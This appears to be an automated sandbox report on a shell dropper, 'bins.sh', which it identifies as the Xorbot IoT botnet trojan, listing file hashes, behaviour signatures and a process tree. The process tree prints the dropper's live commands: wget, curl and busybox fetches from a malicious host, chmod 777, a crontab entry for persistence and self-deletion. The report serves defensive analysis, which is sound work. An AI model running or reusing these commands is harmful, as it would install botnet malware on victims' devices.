Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/02/2025, 07:22

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4cfb0882602e49bb3bb56c54e08029a6

  • SHA1

    d60467677204a5e3045c01dca1ff688264ab69b9

  • SHA256

    199cd72604764bd453856e029830cce18d0f746a1caae617cbafebda9d785617

  • SHA512

    d9a9c852ca4823533dab2b557a096e4055d3665ce8f562b2d0612029ecba77d391811af06e53e55e4fb483589d1009ab948faf0590252578a3f9a143d5c14aef

  • SSDEEP

    192:0BBSrBsKwWxWlWYW/W3WB9GurAMMsG253Xy5bz2R95PvExdDPvExdrV3X0bz2R9L:0BBSrBsKwWxWlWYW/W3WB6sG285bz2RF

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1514
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1515
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1516
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1521
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1523
      • /bin/chmod
        chmod 777 rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • File and Directory Permissions Modification
        PID:1524
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1528
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1530
        • /bin/rm
          rm rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
          2⤵
            PID:1532
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1535
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • System Network Configuration Discovery
            PID:1536

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
          Filesize

          98KB

          MD5

          5141342d0df8699fa32a6b066a0c592e

          SHA1

          8157673225bd5182f16215e2aa823a25ca2d4fbc

          SHA256

          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

          SHA512

          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

          Download Submit

        • /tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
          Filesize

          99KB

          MD5

          9438d9bc392bcf300a5583b6df5bc8f6

          SHA1

          375a6ae34b516f6f3eeea8030c4084f585017efa

          SHA256

          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

          SHA512

          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

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        • /var/spool/cron/crontabs/tmp.bMbJP7
          Filesize

          210B

          MD5

          3164279083a015aeeb2270d0a839e810

          SHA1

          bb5274f698f8f27790c40907aa2ebd95e2e97f32

          SHA256

          4b306d0f72f2e908ef34b24e2b26f796c045e87c53766e8c49f0b706b67e67f0

          SHA512

          a80d64f1311067260d91f50c47437efe3caa54a1a40095fac7bf9b1aa9b50a48d924684e26258dfd53a47263d2701209f695bafcb44a344aaa08fc8231cdfcf6

          Download Submit